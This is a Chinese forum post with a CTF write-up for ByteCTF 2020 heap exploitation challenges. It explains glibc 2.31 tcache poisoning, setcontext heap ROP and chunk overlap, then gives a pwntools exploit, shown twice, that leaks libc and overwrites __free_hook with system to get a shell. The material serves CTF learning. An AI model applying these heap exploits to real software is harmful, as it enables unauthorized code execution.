首页
社区
课程
招聘
[原创]【bytectf2020】
发表于: 2022-4-28 15:56 8373

[原创]【bytectf2020】

2022-4-28 15:56
8373

鸽了ymnh一个月

img

img

(1)tcache poison:如果能够任意地址写0,那么可以把tcache中末尾是‘\x00'的堆块的fd指针的低地址写上'\x00',即可double free

(2)set_rdx_ret && setcontext联合实现堆上rop:劫持free_hook然后可以就可堆上实现rop了

需要用到上面这个非常特殊的gadget

(3)堆切割覆盖fd指针(from fmyy):当存在uaf漏洞时,先申请两个大的堆块(不妨假设chunk2的地址大于chunk1),并free使得两个堆块在unsorted bin中完成合并。此后申请小的堆块会考虑从合并堆块切割分配,并且地址从chunk1一直往高地址生长。那么就有可能和chunk2的内容有重叠,可以通过edit来修改chunk2的内容

2.31 9_1

img

img

img

img

这个add很特殊,存在逻辑漏洞,就是我们可以把v2赋值之后,再赋值v1,理论上来说v1和v2应该是一样的。同时有一个任意地址写0。很机智有一个初始化操作,但是如果是malloc(1),对0x20大小的堆块初始化就不完全了。并且限制了堆块的个数上限为8

img

很平常

img

无法uaf

泄露libc:通过malloc(1)切割unsorted chunk,切下一段0x20大小的堆块,并且通过逻辑漏洞,绕过往fd指针低地址写0,从而打印地址。

tcache poison:通过任意地址写0让tcache chunk自指,注意的是,此chunk还要满足从它到链尾至少还有两个chunk(不然申请不出我们想要写的地址)

img

这题还挺有意思的,不得不佩服出题人的脑洞,也挺好玩的

img

img

禁了system和execve的系统调用,不能使用one_gadget直接打,考虑orw绕过

img

前面就读了一个名字还有禁了一下沙箱,主要还是从这里开始看,从menu里面可以看出主要实现了3个功能。这三个功能和平常的管理系统都不大一样。

img

有个printf函数可以让我们leak libc和heap

free之后没有清空指针,多半可以uaf进行double free

img

发现在clip处挂了一个头插法插入的链表,由于shoot的时候没有断链,所以实际上可能是把一条一条的链拼接上去。如果我们挂的链上有一个free过的堆块,连续shoot至那个堆块就可double free了

img

申请后指针未初始化,可以利用这个leak libc和heap

double free劫持free_hook然后堆上rop的裸题

 
 
 
0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
 
 
 
 
 
 
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
r=process('./easyheap')
libc=ELF('./libc-2.31.so')
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter(">> ",str(num))
 
def exadd(v2,size,con):
    cho(1)
    r.sendlineafter("Size: ",str(v2))
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Content: ",con)
 
def add(size,con):
    cho(1)
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Content: ",con)
 
def show(index):
    cho(2)
    r.sendlineafter("Index: ",str(index))
 
def delet(index):
    cho(3)
    r.sendlineafter("Index: ",str(index))
 
##leak libc
for i in range(0,8):
    add(0x80,'nameless')
for i in range(0,7):
    delet(7-i)
delet(0)
exadd(0x100,1,'\x60') #0
show(0)
r.recvuntil("Content: ")
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1c4bad-(libc.sym['__libc_start_main']+243)
log.success('libcbase:'+hex(libcbase))
 
##set
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
 
##tcache poison
##exadd(0x2d1,0x80,'nameless')
delet(0)
for i in range(0,8):
    add(0x70,'nameless')
for i in range(0,8):
    delet(i)
 
for i in range(0,7):
    add(0x60,'/bin/sh\x00')
 
delet(1)
delet(5)
delet(4)
delet(3)
delet(2)
exadd(0xe1,0x60,'nameless')
add(0x60,p64(free_hook))
add(0x60,'nameless')
add(0x60,'nameless')
add(0x60,p64(system))
delet(0)
r.interactive()
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
r=process('./easyheap')
libc=ELF('./libc-2.31.so')
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter(">> ",str(num))
 
def exadd(v2,size,con):
    cho(1)
    r.sendlineafter("Size: ",str(v2))
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Content: ",con)
 
def add(size,con):
    cho(1)
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Content: ",con)
 
def show(index):
    cho(2)
    r.sendlineafter("Index: ",str(index))
 
def delet(index):
    cho(3)
    r.sendlineafter("Index: ",str(index))
 
##leak libc
for i in range(0,8):
    add(0x80,'nameless')
for i in range(0,7):
    delet(7-i)
delet(0)
exadd(0x100,1,'\x60') #0
show(0)
r.recvuntil("Content: ")
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1c4bad-(libc.sym['__libc_start_main']+243)
log.success('libcbase:'+hex(libcbase))
 
##set
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
 
##tcache poison
##exadd(0x2d1,0x80,'nameless')
delet(0)
for i in range(0,8):
    add(0x70,'nameless')
for i in range(0,8):
    delet(i)
 
for i in range(0,7):
    add(0x60,'/bin/sh\x00')
 
delet(1)
delet(5)
delet(4)
delet(3)
delet(2)
exadd(0xe1,0x60,'nameless')
add(0x60,p64(free_hook))
add(0x60,'nameless')
add(0x60,'nameless')
add(0x60,p64(system))

[注意]APP应用上架合规检测服务,协助应用顺利上架!

最后于 2022-5-1 21:54 被Nameless_a编辑 ,原因:
上传的附件:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//